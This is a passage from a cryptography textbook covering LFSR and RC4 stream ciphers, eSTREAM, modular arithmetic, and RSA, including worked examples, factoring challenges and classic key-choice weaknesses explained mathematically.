𝑥 31 + 𝑥 3 + 1 𝑥 31 + 𝑥 6 + 1 𝑥 31 + 𝑥 7 + 1
advanced trinomials
𝑥 39 + 𝑥 4 + 1 𝑥 60 + 𝑥 + 1 𝑥 63 + 𝑥 + 1
𝑥 71 + 𝑥 6 + 1 𝑥 93 + 𝑥 2 + 1 𝑥 145 + 𝑥 52 + 1
𝑥 + 𝑥 18 + 1
161 𝑥 255 + 𝑥 53 + 1 𝑥 511 + 𝑥 10 + 1

the register define which terms in a polynomial have coefficients, 𝑐 𝑖 , which are 1:

𝑐 𝐿 × 𝑥 𝐿 + 𝑐 𝐿−1 × 𝑥 𝐿−1 + . . . + 𝑐 3 × 𝑥 3 + 𝑐 2 × 𝑥 2 + 𝑐 1 × 𝑥 + 1

The other terms have coefficient 0. So the LFSR in Fig. 4.14 corresponds to the
polynomial 𝑥 3 + 𝑥 + 1. This is an example of what mathematicians call a primitive
polynomial, and only LFSRs which correspond to primitive polynomials can have the
largest possible period. It is not necessary here to understand in detail what primitive
polynomials are, but they have some properties which make the corresponding
LFSRs easy to implement, both in hardware and software. Amongst other things,
there is a large group of them, so-called trinomials, which have just three terms (like
𝑥 3 + 𝑥 + 1), and where it is therefore only necessary to lead the contents of two cells
out from the register. Some slightly more advanced examples than 𝑥 3 + 𝑥 + 1 are
shown in Fig. 4.15. More examples can easily be found on the Internet and in the
printed literature.
It is clear that especially the last of the examples in the figure require long
shift registers to keep the state in; in return, they offer an extremely long period.
Nevertheless, LSFRs alone are not sufficient for use as generators for a secure stream
cipher. This is because the calculation, as the name implies, is linear. An attacker
can encrypt a known plaintext of at least 2𝐿 bits, and from this derive the keystream
from the ciphertext. This is because the symmetry of the XOR function means that
it is also true that:
keystream = plaintextstream ⊕ ciphertextstream
The attacker must always know the Initialisation Vector, 𝐼𝑉, which he has used,
and therefore know the shift register’s length, 𝐿 bits. This means he can determine
the polynomial on which the LFSR is based, and the security is broken, since the
attacker has sufficient knowledge to emulate the working of the generator, both for
encryption and decryption.
Practical stream ciphers for security purposes therefore use a combination of
several LFSRs with different periods, whose output bits are combined by using
a non-linear function. Two well-known examples of this approach are the stream
ciphers:
• A5/1, which is used in mobile telephone networks, and which combines output
from three LFSRs with lengths of respectively 19, 22 and 23 bits.
• E0, which is used in Bluetooth communication, and which combines output from
four LFSRs with lengths of respectively 25, 31, 33 and 39 bits.
We look more closely at these in Chap. 8.
76 4 Cryptography

i j

0 1 2 S[i]+S[j] i j 253 254 255

S[i] S[j]

K S[i]+S[j]

Fig. 4.16 The lookup step in RC4’s keystream generator. (Diagram: Wikimedia Commons p)

4.3.5.2 An Alternative Approach: RC4

RC4 is probably the most used stream cipher from a historical point of view, pre-
sumably because it can be implemented very efficiently in software. It is not based
on an LFSR, and it forms a byte oriented keystream. The internal state is two 8-bit
indices, 𝑖 and 𝑗, and a 256-byte vector, 𝑆, which contains a permutation of the 256
different values, 0, 1, 2, . . . , 255, which can be stored in an 8-bit byte. The vector is
initialised via a Key-Scheduling Algorithm, where the permutation which 𝑆 contains
initially is derived from an encryption key whose length can be up to 256 bytes. In
practice, the length typically lies between 5 and 16 bytes (i.e. between 40 and 256
bits).
When the vector has been initialised, the keystream generator begins to generate
pseudo-random byte values for the keystream. For each byte which is to be generated,
the generator executes the following four steps:
1. Increase 𝑖’s value by 1
2. Add 𝑆𝑖 ’s value to 𝑗
3. Swap 𝑆𝑖 and 𝑆 𝑗
4. Use the (𝑆𝑖 + 𝑆 𝑗 )’th element of 𝑆 as the byte, 𝐾, to be used in the keystream. This
lookup step is illustrated in Fig. 4.16.
All arithmetic is done modulo 256 (see Sect. 4.4.2 below). This procedure means
that every element in 𝑆 is swapped with another element at least once for every 256
repetitions of the above steps. As usual, 𝐾 is combined with the next byte in the data
stream by an XOR operation.
Even if RC4 has been a much used stream cipher since its design in 1987, it has
in recent years been shown to have a number of serious weaknesses:
• Insecure use of long-term keys: As mentioned previously, it is important to
change the key for each new data stream. A practical way to do this, which is
used in more modern stream ciphers, is to choose a fixed long-term key, which
is combined with an element which is varied. This varying element must be a
nonce, i.e. a randomly chosen, never repeated value (see Definition 4.3).
4.3 Modern Ideas 77

RC4 does not in itself have any possibility of providing a nonce which can be
combined with a long-term key. So it is up to the individual application which
uses RC4 to decide how such a combination is to be produced. Many applications
just extend the long-term key with the digits of the nonce. But due to weaknesses
in RC4’s Key Scheduling Algorithm this practice opens up for attacks based on
related keys.
• Malleability: RC4, like other stream ciphers, is malleable. That is to say, if you
have a ciphertext corresponding to a given plaintext 𝑚, then you can generate a
ciphertext which corresponds to the plaintext 𝑓 (𝑚) for any function 𝑓 , without
knowing or deriving the plaintext 𝑚 itself. This is a consequence of the fact
that the ciphertext is produced by combining the plaintext with a pseudo-random
keystream, G (𝑘), by using an XOR operation:

E (𝑚) = 𝑚 ⊕ G (𝑘)
So an attacker can construct the ciphertext corresponding to (𝑚 ⊕ 𝑡) for an
arbitrary value 𝑡, since:

E (𝑚) ⊕ 𝑡 = 𝑚 ⊕ 𝑡 ⊕ G (𝑘)
= E (𝑚 ⊕ 𝑡)

Even if the attackers do not know the message 𝑚, they may know the format of
the message in plaintext and can choose 𝑡 so it just gets to modify a critical part
of the message—a time, a sum of money, an account number or similar. It is
therefore necessary to be very careful to ensure the integrity of messages which
are encrypted using RC4. A well-known example of the consequences of using a
weak method for ensuring integrity can be seen in the original encryption scheme,
WEP, for wireless communication via WiFi, where encrypted messages could be
modified without it being possible to discover this change.
• Statistical skew: In a perfect sequence of random numbers, all numbers would
appear equally often, seen over a long period of time. As early as 1995, Andrew
Roos discovered that there probably was some skew in the distribution of values
in the bytestream generated by RC4. Later work has shown that the first bytes in
the keystream after initialisation are noticeably non-random, and are correlated
with the value of the key. To avoid this problem, it is recommended that the first
3072 bytes of the keystream are thrown away before encryption of the plaintext
is actually begun.
In 2013, a group from Royal Holloway University in London found out that
skew in the distribution of values in the keystream could be used to derive the
actual plaintext, if one could collect up ciphertext from at least 226 (about 67
million) identical messages which were encrypted with different keys. One way
to do this would be to use malware which for example gets a user’s browser to
perform repeated attempts at sending an HTTPS request to a server. This attack is
especially effective for deriving the first bytes in the plaintext, so it is particularly
78 4 Cryptography

suited to revealing cookies and passwords, which are often sent at the start of
HTTPS exchanges.
It is at present an almost feasible task to perform this attack, and there has been
some speculation as to whether a government intelligence service could have the
resources to break RC4’s encryption in this way. One immediate consequence of
this was that the use of RC4 in connection with the widely-used communication
protocol TLS, which we look more closely at in Chap. 8, was forbidden.

4.3.5.3 eStream Stream Ciphers

Since a number of stream ciphers showed serious weaknesses, so there was a move-
ment to replace them with modern, efficient block ciphers such as AES, some
european groups took the initiative to develop a set of new stream ciphers based on
new principles. This development project, which was given the name eSTREAM,
was organised as a competition, where participants could submit proposals within
two profiles for stream ciphers, which were specially suited to respectively:
• Software applications with a requirement for high data rates (Profile 1).
• Hardware applications where resources such as memory, number of gates or
power consumption were limited (Profile 2).

Table 4.3 Stream ciphers from the eSTREAM portfolio with standard key lengths
Profile 1 Profile 2
(software) (hardware)
128-bit key 80-bit key
HC-128 Grain v1
Rabbit MICKEY 2.0
Salsa20/12 Trivium
SOSEMANUK

The submitted proposals were exposed to various forms of cryptanalysis in three

project phases, where only the best ones in a given phase went on to the next
phase. The final result was a portfolio with four stream ciphers under the software
profile and three under the hardware profile, as shown Table 4.3. Three of these
stream ciphers were also accepted in versions with extended key lengths: HC-256
and Salsa20/12 with 256-bit keys and MICKEY-128 2.0 with 128-bit keys. All the
stream ciphers in the portfolio are described in [74], which gives details of which
forms of cryptanalysis the individual proposals had been exposed to and which
performance they could offer. A modfied version of Salsa20 with 256-bit keys,
known as ChaCha20, has been adopted as a replacement for RC4 in the most recent
versions of SSL/TLS (see Sect. 8.4).
4.4 Asymmetric Cryptosystems 79

4.4 Asymmetric Cryptosystems

Asymmetric cryptosystems are characterised by the fact that everyone who uses the
cryptosystem has both a secret and a public key, which is why they are also known
as Public Key Cryptosystems (PKCS). Here it is important to know which party we
are talking about, so it is traditional to give them characteristic names. For example
for two parties: Alice and Bob. Suppose they have keys as follows:
Alice Bob
Secret key: 𝑆𝐾 𝐴 Secret key: 𝑆𝐾 𝐵
Public key: 𝑃𝐾 𝐴 Public key: 𝑃𝐾 𝐵
The public keys are in principle known by everybody. If one party, Alice (who
in reality could be a person or merely a process in a computer) wants to keep
some information confidential for everyone else except a particular party, Bob, then
she uses Bob’s public key, 𝑃𝐾 𝐵 , to encrypt the information. Only Bob (again:
in principle) knows his own secret key, 𝑆𝐾 𝐵 , which can be used to decrypt the
information. This key is therefore also known as Bob’s private key. These properties
are illustrated in Fig. 4.17. It is important to notice that it must not be possible from

Alice Bob
e =E (d, PK B ) d =D (e, SK B )

d =D (e, SK A ) e =E (d, PK A )

Fig. 4.17 Encryption and decryption in a PKCS

publicly available knowledge to compute the inverse function E −1 , which reverses

the effect of E . Technically speaking, the encryption function E in a PKCS must be
a so-called trapdoor function.

•! WARNING: Mathematics ahead!

The known PKCS’s are strongly based on the use of advanced mathematics. In this
book we do not go into any depth with the mathematics, but the next few sections will
be somewhat more mathematically oriented than the previous parts of this chapter.
If you feel you are getting into deep water, it might be a good idea to take a look at
Appendix B, where some basic ideas, which are used in the following sections, are
explained.
80 4 Cryptography

4.4.1 Trapdoor Functions

Trapdoor functions, which play an important role in modern cryptography, are special
types of one-way functions. A function 𝑓 is a one-way function if it is easy to evaluate
its value for given argument, for example 𝑥, whereas it is very difficult to find the
value of 𝑥 if you only know the function value, 𝑓 (𝑥). A trapdoor function is a one-
way function, where there is a hidden secret—the actual trapdoor—which can make
it easy to find the value of 𝑥.
A simple example is integer multiplication. The integer 18211891463 is the
product of two integers (in fact two prime numbers). Given the two numbers, it is
easy to find the product. But if you only know the product, it is relatively hard (at
least without the help of a computer) to find its two factors. However, there is a secret
which makes it easy: One of the factors is 19391. As soon as you know that, the task
is a simple one.

4.4.2 Modular Arithmetic

In cryptography, modular arithmetic is often used for constructing trapdoor func-

tions. The modulo operation, mod, is a mathematical operation which calculates
the remainder of an Euclidean division (also known as an integer division) of two
integers. So, for example, 𝑎 mod 𝑛, gives the remainder after division of the integer
𝑎 by the integer 𝑛. Thus:

7 mod 5 = 2, 11 mod 5 = 1, 72 mod 3 = 0

and so on. When you count modulo 𝑛, you count from 0 up to 𝑛 − 1 and then start
from 0 again. This way of counting is well known from everyday life: the seconds
and the minutes on a clock are counted modulo 60, and the hours are counted modulo
12 or 24. If the time is 51 minutes past the hour, then 20 minutes later the clock will
not show that it is (51 + 20) minutes past, but (51 + 20) mod 60, i.e. 11 minutes past.
A little warning about notation: You should notice that there are two alternative
notations which are used when discussing modular arithmetic. When we, as above,
write 71 mod 60 = 11, this can be read as “the remainder when 71 is divided by 60,
is equal to 11”. But sometimes—especially when the divisor is a large, complicated
expression—it is more common to write it in a different way as:

71 ≡ 11 (mod 60)

This can be read as “71 and 11 are equivalent when we do arithmetic modulo 60”,
or, to use a more technical term: “71 is congruent to 11, when we do arithmetic
modulo 60”. This really says the same, just in a slightly different way. You should
notice that two integers are congruent modulo 𝑛, when the difference between them
is a multiple of 𝑛.
4.4 Asymmetric Cryptosystems 81

Figure 4.18 shows some examples of addition and multiplication performed with
modular arithmetic. Addition is easy to understand, especially if you think of the
example with the clock. But, if you haven’t seen it before, multiplication may seem
surprising. For example, when you use multiplication modulo 5, 3 × 2 is equal to 1.
With ordinary arithmetic, the product of two numbers is 1 if one of the numbers is
the inverse of the other; for example, 1/3 is the inverse of 3, often written 3−1 . But
if we do multiplication modulo 5, then 2 must be the inverse of 3 (and vice versa: 3
is the inverse of 2). And, as we can see in the figure, 4 must be its own inverse, 4−1 ,
just like 1 also is its own inverse.

modulo 5 modulo 6 modulo 7

+ 0 1 2 3 4 + 0 1 2 3 4 5 + 0 1 2 3 4 5 6
0 0 1 2 3 4 0 0 1 2 3 4 5 0 0 1 2 3 4 5 6
1 1 2 3 4 0 1 1 2 3 4 5 0 1 1 2 3 4 5 6 0
2 2 3 4 0 1 2 2 3 4 5 0 1 2 2 3 4 5 6 0 1
3 3 4 0 1 2 3 3 4 5 0 1 2 3 3 4 5 6 0 1 2
4 4 0 1 2 3 4 4 5 0 1 2 3 4 4 5 6 0 1 2 3
5 5 0 1 2 3 4 5 5 6 0 1 2 3 4
6 6 0 1 2 3 4 5

× 0 1 2 3 4 × 0 1 2 3 4 5 × 0 1 2 3 4 5 6
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
1 0 1 2 3 4 1 0 1 2 3 4 5 1 0 1 2 3 4 5 6
2 0 2 4 1 3 2 0 2 4 0 2 4 2 0 2 4 6 1 3 5
3 0 3 1 4 2 3 0 3 0 3 0 3 3 0 3 6 2 5 1 4
4 0 4 3 2 1 4 0 4 2 0 4 2 4 0 4 1 5 2 6 3
5 0 5 4 3 2 1 5 0 5 3 1 6 4 2
6 0 6 5 4 3 2 1

Fig. 4.18 Addition (above) and multiplication (below) with modular arithmetic

It turns out that when we do arithmetic modulo 𝑛, then an integer only has an
inverse if it is mutually prime with 𝑛, i.e. it has no common factors with 𝑛. If 𝑛 itself
is a prime number (as 5 and 7 are), there will therefore always be (𝑛 − 1) integers
which have an inverse. If 𝑛 is the product of two prime numbers, 𝑞 and 𝑟 (as 6
is), there will be (𝑞 − 1) × (𝑟 − 1) integers which have an inverse. The number of
integers with inverses when we do arithmetic modulo 𝑛 is often written 𝜙(𝑛). The
function 𝜙 (pronounced “fy”) is known as Euler’s totient function. These results have
significance for some of the asymmetric cryptosystems which we present below.
The modulo operation itself does not have an inverse function: Even if you
know that the value of 𝑎 mod 5 is 1, you cannot unambiguously calculate 𝑎’s value.
Therefore it is often used in the construction of trapdoor functions, such as:
• Modular Exponentiation: 𝑒 = 𝑑 𝑝 mod 𝑛
E −1 : Calculate the integer 𝑝’th root of 𝑒 modulo 𝑛. That is to say, the integer
which, when 𝑝 copies of it are multiplied together modulo 𝑛, gives 𝑒.
82 4 Cryptography

• Modular Squaring: 𝑒 = 𝑑 2 mod 𝑛

E −1 : Calculate the integer square root of 𝑒 modulo 𝑛. That is to say, the integer
which, when multiplied by itself modulo 𝑛, gives 𝑒.
• Modulær Exponentiation: 𝑒 = 𝑏 𝑑 mod 𝑛
E −1 : Calculate the discrete logarithm to the base 𝑏 of 𝑒 modulo 𝑛. That is to say,
the integer which indicates how many copies of 𝑏 must be multiplied together
modulo 𝑛 to give 𝑒.
In these examples, 𝑏, 𝑝 and 𝑛 are known quantities. The inverse function, E −1 ,
which is needed to find 𝑑 if you know 𝑒, is in all cases hard to evaluate—it is what
mathematicians call a hard problem—if you don’t know the relevant “trapdoor”. For
the first two examples, the trapdoor is knowledge of the factors of 𝑛, while in the
third example it depends on the properties of 𝑏.

4.4.3 The RSA Cryptosystem

RSA is a very commonly used cryptosystem for asymmetric encryption, named after
the three American researchers—Rivest, Shamir og Adelman—who invented the
system in 1978.
A given user of RSA has three integers which are used in the encryption and
decryption functions:
• A modulus, 𝑛, which is publicly known.
• An exponent, 𝑝, which is also publicly known. This is often called the user’s
public exponent or public key.
• An exponent 𝑠, which is kept secret. This is often called the user’s private exponent
or private key.
In the operation of RSA, data are divided up into blocks of 𝑏 = dlog2 𝑛e bits 2,
and are dealt with as though they were 𝑏-bit integers. For encryption to ensure
confidentiality of a plaintext block 𝑑, the intended receiver’s public exponent 𝑝 is
used as encryption key, and the ciphertext is evaluated as:

𝑒 = 𝑑 𝑝 mod 𝑛

This is an example of modular exponentiation, one of the functions for which it is

very hard to find the inverse. Happily, RSA is designed so there is a trapdoor: The
receiver can recover the confidential plaintext 𝑑 by using his private exponent 𝑠,
since:
𝑑 = 𝑒 𝑠 mod 𝑛

2 d𝑥 e is the smallest integer which is larger than or equal to 𝑥.

4.4 Asymmetric Cryptosystems 83

RSA’s mathematical basis:

• The modulus 𝑛 = 𝑞 × 𝑟, where 𝑞 and 𝑟 are large prime numbers.
• The exponent 𝑝 is chosen at random, such that:
gcd( 𝑝, (𝑞 − 1) × (𝑟 − 1)) = 1
The notation gcd(𝑎, 𝑏) stands for the Greatest Common Divisor of the integers 𝑎
and 𝑏. That is to say, the largest integer which divides both 𝑎 and 𝑏 without giving
a remainder. If it is equal to 1, then the two integers have no common factors,
apart from the trivial factor 1.
• The exponent 𝑠 is evaluated by using Euclid’s extended algorithm (see Sect. B.4
in Appendix B), such that:
𝑝 × 𝑠 ≡ 1 (mod (𝑞 − 1) × (𝑟 − 1))
We return later to the important questions of how these calculations are performed
in practice, and how others get to know the owner’s public key.
The inverse function E −1 corresponds to evaluation of a 𝑝’th root modulo 𝑛. There
are no known algorithms for working out the value of this root from 𝑛 and 𝑝 without
knowing 𝑛’s prime factors (𝑞 and 𝑟). But it requires a lot of computer resources to
factorise large numbers such as 𝑛. This is a characteristic of what mathematicians
call hard problems.
For the RSA-algorithm to work both for encryption and decryption, it must be
true that if 𝑒 = 𝑑 𝑝 mod 𝑛, where 𝑝 one of the (either public or private) exponents and
𝑛 the chosen modulus, then 𝑑 = 𝑒 𝑠 mod 𝑛, where 𝑠 is the other exponent. Showing
that this is the case requires some mathematics, which you can find in Sect. B.6 in
Appendix B.

4.4.3.1 An Example of the Use of RSA:

• Evaluating the set of keys:

1. Choose two prime numbers, say: 𝑞 = 13 and 𝑟 = 19.
2. Modulus 𝑛 = 𝑞 × 𝑟 = 247
3. Choose a random value for the public exponent, 𝑝, which has no common
factors with (𝑞 − 1) × (𝑟 − 1).
For example: 𝑝 = 23, which has no common factors with 12 × 18 (i.e. 216).
4. The private exponent 𝑠 is evaluated by using Euclid’s extended algorithm, such
that: 𝑝 × 𝑠 ≡ 1 (mod ((𝑞 − 1) × (𝑟 − 1)))
In this example, such that: 23 × 𝑠 ≡ 1 (mod 216)
5. This means that 𝑠 = 47, since 23 × 47 = 1081 = 5 × 216 + 1
• Encryption and decryption:
1. Plaintext message, 𝑑: the letter ‘A’ (represented by the number 65)
2. Ciphertext, 𝑒, is evaluated as: 𝑑 𝑝 mod 𝑛 = 6523 mod 247 = 221
3. Plaintext 𝑑 is recovered by evaluating: 𝑒 𝑠 mod 𝑛 = 22147 mod 247 = 65
84 4 Cryptography

Note that this is an idealised example with extremely small values. In practice, 𝑞
and 𝑟 must be large, randomly chosen prime numbers which are not too close to
one another, since if the difference between them is less than 2𝑛1/4 , it is very easy
to factorise 𝑛 using Fermat’s method (see Sect. B.2 in Appendix B). Moreover, the
prime factors of (𝑞 − 1) and (𝑟 − 1) must not all be small. And the plaintext will
typically be much longer than a single letter, and therefore correspond to a number
much larger than 65,

4.4.3.2 Calculation Efficiency

At school, most people learn that the result of an exponentiation, for example 𝑥 𝑦 ,
is worked out by multiplying 𝑦 copies of the number 𝑥 together. So for example
24 = 2 × 2 × 2 × 2. This is manageable when both 𝑥 and 𝑦 are small numbers, but
very hard work when 𝑥 or 𝑦 or both of them are large.
In RSA, it is necessary to calculate the values of expressions of the form 𝑑 𝑒 mod 𝑛,
where 𝑑 is the number corresponding to a block of plaintext or ciphertext, and 𝑒 is the
receiver’s public or private exponent. In real life, 𝑑, 𝑒 and 𝑛 will today typically be
numbers with up to 3072 binary digits (corresponding to decimal numbers with 924
digits). If one evaluated the term 𝑑 𝑒 in full, it would be a number with 23072 × 3072
bits. It is easy to see that it would be a completely unmanageable task to evaluate 𝑑 𝑒
in the way you have probably learnt at school.
Luckily there are smarter methods. Firstly, you should remember that everything
needs to be worked out modulo n. So it is possible to exploit the fact that

(𝑎 × 𝑏) mod 𝑛 = ((𝑎 mod 𝑛) × (𝑏 mod 𝑛)) mod 𝑛

Or, to put it another way: you can work out the result of each multiplication modulo
𝑛, before you use it in the next step of calculating the final result. Secondly, you can
use the fact that the exponent can always be written as a sum of powers of 2. For
example:
23 = 24 + 22 + 21 + 1
But it is always true that 𝑥 𝑖+ 𝑗 = 𝑥 𝑖 × 𝑥 𝑗 . So 𝑥 23 mod 𝑛 can be written as:
4 2
(𝑥 2 × 𝑥 2 × 𝑥 2 × 𝑥) mod 𝑛 that is to say (𝑥 16 × 𝑥 4 × 𝑥 2 × 𝑥) mod 𝑛

This can be evaluated in a very economical way in 8 steps:

1. Evaluate 𝑦1 = 𝑥 mod 𝑛
2. Evaluate 𝑦2 = (𝑦1 × 𝑦1) mod 𝑛
3. Evaluate 𝑦3 = (𝑦2 × 𝑦1) mod 𝑛
4. Evaluate 𝑦4 = (𝑦2 × 𝑦2) mod 𝑛
5. Evaluate 𝑦7 = (𝑦4 × 𝑦3) mod 𝑛
6. Evaluate 𝑦8 = (𝑦4 × 𝑦4) mod 𝑛
7. Evaluate 𝑦16 = (𝑦8 × 𝑦8) mod 𝑛
8. Evaluate 𝑦23 = (𝑦16 × 𝑦7) mod 𝑛
4.4 Asymmetric Cryptosystems 85

Exponentiation modulo 𝑛 with exponent 𝑒 using this method requires you to perform:
• (𝑡 − 1) squarings modulo 𝑛, if 𝑒 is given by a 𝑡-bit binary number. In the example
here, 23 corresponds to the binary number 10111, which has 5 bits, and squaring
takes place in steps 2, 4, 6 and 7.
• (ℎ−1) ordinary multiplications modulo 𝑛, if there are ℎ 1-bits in the binary number
𝑒 (ℎ is often known as the Hamming weight of 𝑒). For 10111 (corresponding to
the decimal number 23), ℎ equals 4, and an ordinary multiplication modulo 𝑛 is
performed in steps 3, 5 and 8.
Given this knowledge, you should try to convince yourself that evaluation of
6523 mod 247 in fact gives the result 221, as claimed in the previous section.
It is easy to see that this method of calculation, often called the square-and-
multiply method, requires many fewer arithmetic operations than the naive “school
method”. It also explains many organisations’ preferences for small values for the
public exponent, such as 3, 17 and 65537—they are all numbers of form (2𝑛 + 1)
with Hamming weight ℎ = 2, which will give a particularly fast exponentiation. For
exponents with larger Hamming weights there are even faster methods, but it would
take us too far from our main topic to go into details here.

4.4.3.3 The Security of RSA

The security of RSA depends on the fact that it is difficult to factorise large integers:
𝑛 = 𝑞 × 𝑟. To demonstrate this, in 1991 Rivest, Shamir and Adelman issued a series
of challenges to the world to factorise such numbers. One of the best known is:

Find the prime factors (𝑞 and 𝑟) of: 𝑛 =

114 381 625 757 888 867 669 235 779 976 146 612 010 218 296
721 242 362 562 561 842 935 706 935 245 733 897 830 597 123
563 958 705 058 989 075 147 599 290 026 879 543 541
(a 129-digit integer)

Three years passed before anyone could find the result:

𝑞 = 3 490 529 510 847 650 949 147 849 619 903 898 133 417
764 638 493 387 843 990 820 577
𝑟 = 32 769 132 993 266 709 549 961 988 190 834 461 413 177
642 967 992 942 539 798 288 533
This had required an effort from a group of people who had access to a collection
of about 1600 computers, which in total needed to use 5000 MIPS-years of CPU
time to find the result. A MIPS-year is a year’s uninterrupted calculation on a CPU
which can execute a million instructions per second. Modern CPUs are, of course,
considerably faster, but would still take a significant time to perform this task.
Table 4.4 shows how much CPU power it has taken to deal with some more
of Rivest, Shamir and Adelman’s challenges with respect to factorisation of large
integers (the so-called RSA numbers), which were all products of two large prime
86 4 Cryptography

Table 4.4 Factorisation of large integers

No. of digits in 𝑛 Date factorised MIPS-years Algorithm
Decimal Binary required
100 332 April 1991 7 QS
110 365 April 1992 75 QS
120 398 June 1993 825 QS
129 428 April 1994 5000 QS
130 431 April 1996 500 NFS
140 465 February 1999 2000 NFS
155 512 August 1999 8000 NFS
200 663 May 2005 9 × 104 NFS
232 768 December 2009 4 × 106 NFS
240 795 November 2019 2 × 107 NFS
250 829 February 2020 6 × 107 NFS
309 1024 ?? (Not broken yet) ?? NFS

numbers. QS and NFS stand for Quadratic Sieve and Number Field Sieve respec-
tively – two of the best modern algorithms for factorising large integers.
Even if the basic security of RSA appears (until further notice) to be satisfactory,
its security can nevertheless be compromised by using it in an inappropriate manner.
Vulnerabilities can, for example, be introduced by a poor choice of key sets (𝑛, 𝑝, 𝑠).
Two classical poor choices are:
1. A very small public exponent, 𝑝. Small values such as 3 or 17 are often chosen
to make encryption faster. But this makes various attacks possible.
Example: Alice, Bob and Charley all use the same small value for their public
exponent, 𝑝 = 3, but use different moduli—respectively 𝑛 𝐴, 𝑛 𝐵 and 𝑛𝐶 , which
do not have any common factors. User Daisy sends all of them a confidential
message, 𝑑, which she encrypts to give the three ciphertexts:

𝑒 𝐴 = 𝑑 3 mod 𝑛 𝐴
𝑒 𝐵 = 𝑑 3 mod 𝑛 𝐵
𝑒𝐶 = 𝑑 3 mod 𝑛𝐶

The attacker, Eve, collects these three ciphertexts and can then do as follows:
• Use the Chinese Remainder Theorem (see Sect. B.5 in Appendix B) to find a
value, 𝑥, which is a solution to the simultaneous equations: 𝑥 = 𝑒 𝑖 mod 𝑛𝑖 for
𝑖 = 𝐴, 𝐵, 𝐶.
The result is 𝑥 = 𝑑 3 mod 𝑛 𝐴𝑛 𝐵 𝑛𝐶 .
• It lies in the nature of things that 𝑑 3 < 𝑛 𝐴𝑛 𝐵 𝑛𝐶 , so 𝑥 must be exactly equal to
𝑑 3 . Thus 𝑑 is equal to the cubic root of 𝑥.
4.4 Asymmetric Cryptosystems 87

2. Re-use of the modulus, 𝑛, even if different values are used for 𝑝 and 𝑠. This can
sound attractive, because one might be able to optimise the implementation for a
particular modulus. But don’t fall for this temptation!
Example 1: Suppose Alice discovers that Bob uses the same modulus. Since she
knows her own two exponents ( 𝑝 𝐴, 𝑠 𝐴) , she can efficiently factorise 𝑛 and find
𝑞 and 𝑟. Once she knows these, and also knows Bob’s public exponent, 𝑝 𝐵 , she
can easily derive Bob’s private exponent, 𝑠 𝐵 , and Bob’s security is completely
compromised.
Example 2: If Mallet is an attacker who does not know any of the private
exponents, she can use another approach. Suppose that Alice and Bob with public
exponents respectively 𝑝 𝐴 and 𝑝 𝐵 encrypt 𝑑 to obtain the ciphertexts 𝑒 𝐴 and 𝑒 𝐵 :

𝑒 𝐴 = 𝑑 𝑝 𝐴 mod 𝑛
𝑒 𝐵 = 𝑑 𝑝𝐵 mod 𝑛

Then, if gcd( 𝑝 𝐴, 𝑝 𝐵 ) = 1 (in other words, 𝑝 𝐴 and 𝑝 𝐵 have no common factors,

which is usually the case), Mallet can make use of Euclid’s Extended Algorithm
(see Sect. B.4 in App. B) to find integers 𝑢 and 𝑣 such that: 𝑢 × 𝑝 𝐴 + 𝑣 × 𝑝 𝐵 = 1.
She can then recover the plaintext, 𝑑, by evaluating 𝑒 𝐴𝑢 × 𝑒 𝐵 𝑣 , without needing
to find any of the users’ private exponents, 𝑠 𝐴 and 𝑠 𝐵 , at all. More details of the
mathematics behind this attack can be found in Sect. B.7 in Appendix B.
As RSA is a so-called deterministic encryption algorithm, an encryption of the same
plaintext with the same key will always give the same ciphertext. This makes it
possible to attack RSA by using a chosen plaintext attack—you choose a number
of likely plaintexts and produce the corresponding ciphertexts to see whether they
match a piece of ciphertext which you have got hold of. To avoid this form of attack,
it is standard practice to pad out the plaintext with a number of randomly chosen
padding bits before encrypting it. Standards such as PKCS#1 [54] describe secure
ways to produce these padding bits, so repeated encryptions of the same plaintext will
be very unlikely to produce the same ciphertext. Padding with randomly chosen bit
sequences will also prevent attacks which exploit the use of small public exponents.
You should also notice that the RSA cryptosystem, just like the stream ciphers
discussed in Sect. 4.3.5, is malleable. That is to say, an attacker who sees a ci-
phertext without knowing the corresponding plaintext can form a valid ciphertext
for a completely different plaintext. The ciphertext for the original message 𝑚 and
key 𝑝 is evaluated as E (𝑚, 𝑝) = 𝑚 𝑝 mod 𝑛. An attacker can form the ciphertext
for 𝑚 × 𝑡 for any value 𝑡 by evaluating E (𝑚, 𝑝) × 𝑡 𝑝 mod 𝑛, which is equal to
(𝑚 × 𝑡) 𝑝 mod 𝑛 = E (𝑚 × 𝑡, 𝑝). This implies that you need to take suitable steps
to ensure the message’s integrity in order to prevent this type of manipulation. This
topic is discussed in the next chapter.
In the long term there are especially two factors which can affect RSA’s security:
1. Computers are getting faster and it is becoming easier to get access to large
collections of computers in “clouds” which offer almost unlimited processing
88 4 Cryptography

power. It is therefore necessary to use larger and larger key sizes in order to
protect against factorisation of the modulus, 𝑛. NIST in USA recommend, for
example, that 𝑛 should be a number with at least 3072 bits (a number with about
924 decimal digits) in order to offer reasonable security over the next few years.
All experience shows that this minimum length will need to be increased as time
goes by.
2. Methods for even faster factorisation of large integers may be developed. Firstly,
one can imagine that algorithms faster than NFS are discovered. And secondly,
that new techniques based on quantum computers will become usable in practice.
It is known that algorithms for quantum computers can be used to solve the
mathematical hard problems which form the basis of all the current commonly
used public key cryptosystems. Development of public key cryptosystems which
cannot be broken by using quantum computers is currently a very active area for
research.

4.5 A Comparison of PKCS and SKCS

In addition to the obvious differences with respect to the need to keep all the keys
secret, there are a number of other differences between PKCSs and SKCSs. In brief:
Key size: For a corresponding grade of security, RSA requires much larger keys
(larger moduli, 𝑛) than DES or AES.
Number of keys: For 𝑁 users, an SKCS needs to use (𝑁 × (𝑁 − 1)/2) keys (one
key for each pair of users), which all have to be generated and distributed under
secure conditions. A PKCS only requires 𝑁 key sets (modulus, public exponent
and secret exponent).
Speed: SKCSs are much faster than PKCSs.
Some performance data for encryption can be seen in Table 4.5. Here it is only
fair to say that most modern CPUs (starting with the Intel i5-661) offer direct support
for AES by including the so-called AES instruction set in the CPU’s repertoire. This

Table 4.5 Some performance data for SKCSs and PKCSs

AES/CBC RSA RSA
Key size 128 bits 1024 bits 2048 bits

Measured speed for 1024 bits of data:

Software (C++, 2.93GHz Pentium 4) 0.8 Gbit/s 11 Mbit/s 9 Mbit/s
Software (3.33GHz Intel i5-661) 2.0 Gbit/s — —
Coprocessor (IBM CEX7S, z15®CPU) 3.0 Gbit/s 31 Mbit/s 18 Mbit/s
FPGA (Xilinx Virtex-5) 3,8 Gbit/s 50 kbit/s —
GPU (Nvidia 8800GTS) 4,5 Gbit/s 832 kbit/s 213 kbit/s
